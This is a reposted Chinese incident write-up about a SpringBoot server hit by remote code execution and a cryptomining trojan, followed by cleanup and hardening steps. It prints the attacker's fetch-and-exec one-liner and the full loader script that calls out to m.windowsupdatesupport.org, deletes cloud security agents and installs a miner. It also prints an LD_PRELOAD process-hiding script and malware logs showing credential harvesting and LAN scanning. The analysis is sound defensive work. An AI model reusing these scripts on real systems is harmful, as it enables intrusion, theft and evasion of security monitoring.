<acronym id="s8ci2"><small id="s8ci2"></small></acronym>
<rt id="s8ci2"></rt><rt id="s8ci2"><optgroup id="s8ci2"></optgroup></rt>
<acronym id="s8ci2"></acronym>
<acronym id="s8ci2"><center id="s8ci2"></center></acronym>
0
  • 聊天消息
  • 系統消息
  • 評論與回復
登錄后你可以
  • 下載海量資料
  • 學習在線課程
  • 觀看技術視頻
  • 寫文章/發帖/加入社區
創作中心

完善資料讓更多小伙伴認識你,還能領取20積分哦,立即完善>

3天內不再提示

服務器被入侵挖礦的過程與解決方法

Android編程精選 ? 來源:itlanyan.com ? 作者:tlanyan ? 2022-07-22 16:47 ? 次閱讀
常在河邊走,哪能不濕鞋。自認為安全防范意識不錯,沒想到服務器被入侵挖礦的事情也能落到自己頭上。本文簡要記錄發現服務器被入侵挖礦的過程,同時分析木馬的痕跡和信息,最后給出解決方法。

服務器被入侵挖礦過程

事情經過

昨天是周六,睡得比較晚。玩手機時忽然收到阿里云短信和郵件提醒,服務器有異常行為:

0021ccc8-0758-11ed-ba43-dac502259ad0.png

一看郵件內容就知道不得了,趕緊打開電腦處理。首先用 netstat 命令查看端口,發現一個異常的端口,但不顯示程序名。這時心里已經很清楚,服務器上的Java程序被遠程執行代碼(RCE),也許還被植入了 rootkit。

首要問題是保障業務正??捎?,于是快速拉起另外一個實例,將業務遷移過去。接下來, 首先將被入侵服務器關機,然后一步步研究入侵過程,以及其在服務器上的行為。

入侵行為分析

根據郵件內容,一個 SpringBoot 應用被 getshell 并被執行遠程代碼。被執行的代碼語句 base64 解碼后為:

	
python -c 'import urllib;exec urllib.urlopen("http://m.windowsupdatesupport.org/d/loader.py").read()
將其下載,內容如下:
import sysimport osfrom os.path import expanduserver=sys.version
shs='''ps aux | grep -v grep | grep 'aegis' | awk '{print $11}' | xargs  dirname  | xargs  rm -rfps aux | grep -v grep | grep 'hids' | awk '{print $11}' | xargs  dirname  | xargs  rm -rfps aux | grep -v grep | grep 'cloudwalker' | awk '{print $11}' | xargs  dirname  | xargs  rm -rfps aux | grep -v grep | grep 'titanagent' | awk '{print $11}' | xargs  dirname  | xargs  rm -rfps aux | grep -v grep | grep 'edr' | awk '{print $2}' | xargs  -I {}  kill -9 {}ps aux | grep -v grep | grep 'aegis' | awk '{print $2}' | xargs  -I {}  kill -9 {}ps aux | grep -v grep | grep 'Yun' | awk '{print $2}' | xargs  -I {}  kill -9 {}ps aux | grep -v grep | grep 'hids' | awk '{print $2}' | xargs  -I {}  kill -9 {}ps aux | grep -v grep | grep 'edr' | awk '{print $2}' | xargs  -I {}  kill -9 {}ps aux | grep -v grep | grep 'cloudwalker' | awk '{print $2}' | xargs  -I {}  kill -9 {}ps aux | grep -v grep | grep 'titanagent' | awk '{print $2}' | xargs  -I {}  kill -9 {}ps aux | grep -v grep | grep 'sgagent' | awk '{print $2}' | xargs  -I {}  kill -9 {}ps aux | grep -v grep | grep 'barad_agent' | awk '{print $2}' | xargs  -I {}  kill -9 {}ps aux | grep -v grep | grep 'hostguard' | awk '{print $2}' | xargs  -I {}  kill -9 {}
rm -rf /usr/local/aegisrm -rf /usr/local/qcloudrm -rf /usr/local/hostguard/bin
ps aux | grep -v grep | grep 'kworkers' | awk '{print $2}' | xargs  -I {}  kill -9 {}
'''os.system(shs)domainroota="m.windowsupdatesupport.org"#domainroota="192.168.67.131"#$domainroota#curl  http://$domainroota/d/kworkers -o $gitdir/kworkershomedir=expanduser("~")gitdir=""try:    os.mkdir(homedir+"/.git")except Exception as e:    print(e)if os.path.isdir(homedir+"/.git"):    gitdir=homedir+"/.git"try:    os.mkdir("./.git")except Exception as e:    print(e)if os.path.isdir("./.git"):    gitdir="./.git"downloadu="http://{}/d/kworkers".format(domainroota)if ver.startswith("3"):    import urllib.request    with urllib.request.urlopen(downloadu) as f:        html = f.read()        open(gitdir + "/kworkers", 'wb').write(html)else:    import urllib2    with open(gitdir + "/kworkers", 'wb') as f:        f.write(urllib2.urlopen("http://{}/d/kworkers".format(domainroota)).read())        f.close()print ("Download Complete!")os.system("chmod 777 "+gitdir+"/kworkers")if os.path.isfile('/.dockerenv'):    os.system(gitdir+"/kworkers")else:    os.system("nohup {}/kworkers >>{}/.log&".format(gitdir,gitdir))

遠程代碼主要做了這些事情:

  1. 卸載服務器上的安全監控工具;事后開機,發現阿里云盾果然被卸載了
  2. 關掉所有kworkers進程;
  3. 在當前目錄下創建 .git 目錄,下載并執行 kworkers 程序。

上網搜了一下 kworkers,發現是挖礦應用,并非加密勒索等木馬,心里稍微安心一點。通過阿里云后臺監控,可以看到木馬入侵后,短時間內cpu占用率飆升(本人處理及時,木馬挖礦時間大概持續5分鐘左右):

002fd930-0758-11ed-ba43-dac502259ad0.png

服務器殘留痕跡

大概知道了木馬的行為,接著重啟服務器,查看服務器上的痕跡。1、查看有無添加定時任務:

	
# crontab -l0 2 * * * /xxx/.git/kworkers
木馬添加了定時啟動任務。2、進入木馬主目錄,發現下載了如下文件:

003e80ac-0758-11ed-ba43-dac502259ad0.png

此外,上層目錄和家目錄還多了 cert_key.pemcert.pem 兩個文件,分別存放公鑰和密鑰。3、查看木馬留下的日志,有如下內容:
/xxx/.git/xxx/.gitworking dir /xxx from pid 23684version not exist downloadDownloaded: http://m.windowsupdatesupport.org/d/downloadversion not exist dbusDownloaded: http://m.windowsupdatesupport.org/d/dbusversion not exist hideproc.shDownloaded: http://m.windowsupdatesupport.org/d/hideproc.sherror exit status 1version not exist sshkey.shDownloaded: http://m.windowsupdatesupport.org/d/sshkey.shversion not exist autoupdateDownloaded: http://m.windowsupdatesupport.org/d/autoupdateversion not exist kworkersKey path not found/xxx/.gitpassfound  protectedpassfound  providedpassfound  +clientpassfound  +clientpassfound  protectedpassfound  providedpassfound  qualitypassfound  (pluspassfound  (digits,passfound  promptfound aksk xxxx xxxxfound aksk xxxx xxxxpassfound  xxxpassfound  xxxpassfound  xxxpassfound  xxxpassfound  xxxpassfound  xxxlstat /proc/7776/fd/3: no such file or directorylstat /proc/7776/fdinfo/3: no such file or directorylstat /proc/7776/task/7776/fd/3: no such file or directorylstat /proc/7776/task/7776/fdinfo/3: no such file or directorylstat /proc/7776/task/7777/fd/3: no such file or directorylstat /proc/7776/task/7777/fdinfo/3: no such file or directorylstat /proc/7776/task/7778/fd/3: no such file or directorylstat /proc/7776/task/7778/fdinfo/3: no such file or directorylstat /proc/7776/task/7779/fd/3: no such file or directorylstat /proc/7776/task/7779/fdinfo/3: no such file or directorylstat /proc/7776/task/7780/fd/3: no such file or directorylstat /proc/7776/task/7780/fdinfo/3: no such file or directorylstat /proc/7776/task/7781/fd/3: no such file or directorylstat /proc/7776/task/7781/fdinfo/3: no such file or directorylstat /proc/7776/task/7782/fd/3: no such file or directorylstat /proc/7776/task/7782/fdinfo/3: no such file or directorylstat /proc/7776/task/7783/fd/3: no such file or directorylstat /proc/7776/task/7783/fdinfo/3: no such file or directoryrestart cmd  /xxx/.git/kworkers/xxx/.gitpassfound  file,passfound  settingspassfound  file.passfound  callbackspassfound  Callbackpassfound  examplepassfound  promptpassfound  passwordpassfound  informationpassfound  tokenpassfound  tokenpassfound  tokenpassfound  Passwordpassfound  passwordpassfound  passwordpassfound  -basedpassfound  Passwordpassfound  (usingpassfound  field>passfound  retrypassfound  foobarpassfound  foobarpassfound  foobarpassfound  foobarpassfound  foobarpassfound  passwordpassfound  passwordpassfound  foobarpassfound  foobarpassfound  secretrtotal passwords 25xxx.xxx.xxx.xxxlan ipdoscan range  xxx.xxx.0.0/16ping...Receive 24 bytes from xxx.xxx.xxx.xxx: icmp_seq=0 time=496.309μsworking dir /xxx from pid 7792Receive 24 bytes from xxx.xxx.xxx: icmp_seq=0 time=257.973μsxxx.xxx.xxx is alivexxx.xxx.xxx is alivexxx.xxx.xxx:80  openxxx.xxx0xxx:443  openversion  same downloadversion  same dbusrestart dbusexec again dbus downrunkill process pid 23709
process completedversion  same hideproc.shskip restart hideproc.shversion  same sshkey.shskip restart sshkey.shversion  same autoupdateskip restart autoupdateversion  same kworkersKey path not found
根據日志,主要是下載程序,檢測用戶名和密碼,探測內網,然后啟動自動更新、隱藏進程等程序。
  1. hideproc.sh 感興趣,其內容為:

	
if [ "$EUID" -ne 0 ]  then echo "Please run as root"else  if [ `grep libc2.28 /etc/ld.so.preload`  ]  then echo "hideproc already done!!"  else    apt-get update -y    apt-get install build-essential -y    yum check-update    yum install build-essential -y    dnf groupinstall "Development Tools" -y    yum group install "Development Tools"  -y    curl http://m.windowsupdatesupport.org/d/processhider.c -o  processhider.c
    gcc -Wall -fPIC -shared -o libc2.28.so processhider.c -ldl    mv libc2.28.so /usr/local/lib/ -f    grep libc2.28 /etc/ld.so.preload  || echo /usr/local/lib/libc2.28.so >> /etc/ld.so.preload    rm -f processhider.c    ls >/tmp/.1  2>&1    grep libc2.28.so /tmp/.1 && echo >/etc/ld.so.preload  fifi
其首先檢測是否root用戶,然后編譯libc2共享庫,注入隱藏進程的代碼。這應該是用netstat無法查看到進程名的原因。5、查看訪問日志,發現期間有個IP對服務器進行爆破:

006a9020-0758-11ed-ba43-dac502259ad0.png

其他信息

除了上述文件,/tmp文件夾下還生成了.1和.1.sh文件;

查詢可疑ip,位于國內北京市,應該是肉雞;

查詢木馬下載域名windowsupdatesupport.org,今年6月注冊,解析ip都在國外。該域名很有混淆性,并且為了方便直接用http訪問;

除了下載木馬文件挖礦,未改變服務器上的其他數據。

服務器被入侵挖礦解決辦法

雖然知道是 SpringBoot 應用觸發了 RCE,但遺憾目前仍未找到是哪個包導致的漏洞。目前采取的緩解措施為:1、被入侵服務器重裝系統;
2、使用非 root 用戶啟動 SpringBoot 應用;
3、被入侵的是子系統,增加基本授權:

	
apt install -y apache2-utilshtpasswd /etc/nginx/conf.d/.htpasswd user

然后配置 Nginx 使用認證信息:


	
server {  ...  auth_basic  "子系統鑒權:";  auth_basic_user_file /etc/nginx/conf.d/.htpasswd;  ..}

4、防火墻限制對外連接。

上述錯誤能一定程度上避免類似情況再次發生,但找到應用程序中的漏洞才是接下來的重點。

總結

幸運的是這次來的是挖礦木馬,服務器上的程序和數據都未受影響。也很感謝阿里云免費的安全提醒,讓我在第一時間處理。

但這次事故也敲醒了警鐘:

  1. 不要隨意用 root 權限運行程序;
  2. 防火墻權限要嚴格收緊;
  3. 做好安全監控;
  4. 時刻做好數據備份。

審核編輯:湯梓紅


聲明:本文內容及配圖由入駐作者撰寫或者入駐合作網站授權轉載。文章觀點僅代表作者本人,不代表電子發燒友網立場。文章及其配圖僅供工程師學習之用,如有內容侵權或者其他違規問題,請聯系本站處理。 舉報投訴
  • 服務器
    +關注

    關注

    12

    文章

    8213

    瀏覽量

    82798
  • 木馬
    +關注

    關注

    0

    文章

    47

    瀏覽量

    13277
  • 阿里云
    +關注

    關注

    3

    文章

    896

    瀏覽量

    42647
  • 挖礦
    +關注

    關注

    6

    文章

    448

    瀏覽量

    15886

原文標題:記一次服務器被入侵,沒想到我輕松搞定了它~

文章出處:【微信號:AndroidPush,微信公眾號:Android編程精選】歡迎添加關注!文章轉載請注明出處。

收藏 人收藏

    評論

    相關推薦

    服務器遠程不上服務器怎么辦?服務器無法遠程的原因是什么?

    產生問題的原因,檢查硬盤和服務器系統。通過日志和檢查數據來確認問題出 現的原因以及如何解決。 三、端口問題 1.端口錯誤 找回正確的端口或更換遠程端口 2.端口掃爆 更改端口,并在防火墻禁止掃爆的IP
    發表于 02-27 16:21

    寶界科技WEB服務器立體防御解決方案

    采用SSL加密、編碼、碎化等方式的應用程序,數據流,均無法識別 3、單純文件防篡改系統也存在缺陷利用網站服務器未打補丁進行溢出攻擊,或網站服務器對外開放了某些存在缺陷的服務,造成系統管理員密碼
    發表于 05-17 14:01

    寶界科技WEB服務器立體防御解決方案

    采用SSL加密、編碼、碎化等方式的應用程序,數據流,均無法識別 3、單純文件防篡改系統也存在缺陷利用網站服務器未打補丁進行溢出攻擊,或網站服務器對外開放了某些存在缺陷的服務,造成系統管理員密碼
    發表于 08-19 11:02

    服務器超出了連接范圍的解決方法

    服務器超出了連接范圍的解決方法終端服務器超出了最大允許連接解決方法使用遠程桌面鏈接登錄到終端服務器時經常會遇到“終端
    發表于 01-06 22:59

    服務器植入挖礦病毒解決辦法

    服務器植入挖礦病毒解決辦法上午重啟服務的時候,發現程序啟動死慢,用top命令查看了一下,cpu被占用接近100%,所以無法運行新程序,通過top命令然后輸入P,就能看到有兩個程序幾乎
    發表于 08-28 15:50

    服務器噪聲問題

    諸位大神,我們辦公室放了幾臺服務器。沒有單獨的機房,隔了個小空間,但是效果不明顯,聲音很吵,很煩人。大神們遇到過這種情況嗎?有沒有好的解決方法推薦一下。
    發表于 12-18 16:01

    科普:挖礦掙錢是什么原理 精選資料分享

    運行特定算法,與遠方服務器通訊后可得到相應比特幣。一、挖礦的原理:1、只要有一臺能接入互聯網的計算機,從比特幣網站下 載比特幣程序,首次運行會產生一個數字賬號,然后保持運行,這個程序就會一直不停地計算
    發表于 07-23 08:38

    TCP服務器創建過程

    (UCOSIII版本)的基礎上進行修改,實現多客戶端連接的一個方法。1、TCP服務器創建過程建立一個TCP服務器需要經過創建連接conn=netconn_new(NETCONN_TCP
    發表于 08-24 08:03

    服務器只識別1個電源的原因是什么

    只識別1個電源的原因服務器出廠只配1個電源,后續有改擴配或后續自行增加CPU或電源,造成浪潮服務器在BMC、IPMI中識別的電源數量不能識別。解決方法使用浪潮日志收集工具發送tool命令下載地址
    發表于 12-27 08:05

    服務器可以挖礦嗎_云服務器怎么挖礦

    本文對云服務器的定義、對云服務器優勢進行了詳細分析。最后詳細的介紹使用云服務器挖比特幣的教程。
    發表于 01-08 17:19 ?3w次閱讀
    云<b class='flag-5'>服務器</b>可以<b class='flag-5'>挖礦</b>嗎_云<b class='flag-5'>服務器</b>怎么<b class='flag-5'>挖礦</b>

    解析Linux如何判斷自己的服務器是否被入侵的檢測方法

    如何判斷自己的服務器是否被入侵了呢?僅僅靠兩只手是不夠的,但兩只手也能起到一些作用,我們先來看看UNIX系統上一些入侵檢測方法,以LINUX和solaris為例。
    的頭像 發表于 01-13 10:27 ?5805次閱讀

    網絡診斷提示DNS服務器未響應解決方法

    本文主要介紹了網絡診斷提示DNS服務器未響應解決方法。DNS服務器是由域名解析器和域名服務器組成的。域名服務器為客戶機/
    發表于 01-14 09:37 ?6w次閱讀
    網絡診斷提示DNS<b class='flag-5'>服務器</b>未響應<b class='flag-5'>解決方法</b>

    win7dns服務器異常原因及解決方法

    本文主要介紹了win7 dns服務器異常原因及解決方法。在瀏覽網頁的過程中經常出現無法顯示此網頁、找不到服務器或DNS錯誤,那么我們遇到網頁提示找不到
    發表于 01-14 09:59 ?3.8w次閱讀
    win7dns<b class='flag-5'>服務器</b>異常原因及<b class='flag-5'>解決方法</b>

    串口服務器的常見問題及解決方法

    串口服務器因為其功能的原因,如今在工控領域有著非常廣泛的應用,在實際使用串口服務器過程中也會遇到一些問題。下面為大家介紹幾個在使用串口服務器時經常會遇到的問題及
    發表于 06-16 16:01 ?2798次閱讀

    服務器入侵現象、排查和處理步驟

    近期有一個朋友的服務器(自己做了網站)好像遭遇了入侵,具體現象是: 服務器 CPU 資源長期 100%,負載較高。 服務器上面的服務不能正常
    發表于 03-22 10:56 ?257次閱讀
    <b class='flag-5'>服務器</b><b class='flag-5'>入侵</b>現象、排查和處理步驟
    亚洲欧美日韩精品久久_久久精品AⅤ无码中文_日本中文字幕有码在线播放_亚洲视频高清不卡在线观看
    <acronym id="s8ci2"><small id="s8ci2"></small></acronym>
    <rt id="s8ci2"></rt><rt id="s8ci2"><optgroup id="s8ci2"></optgroup></rt>
    <acronym id="s8ci2"></acronym>
    <acronym id="s8ci2"><center id="s8ci2"></center></acronym>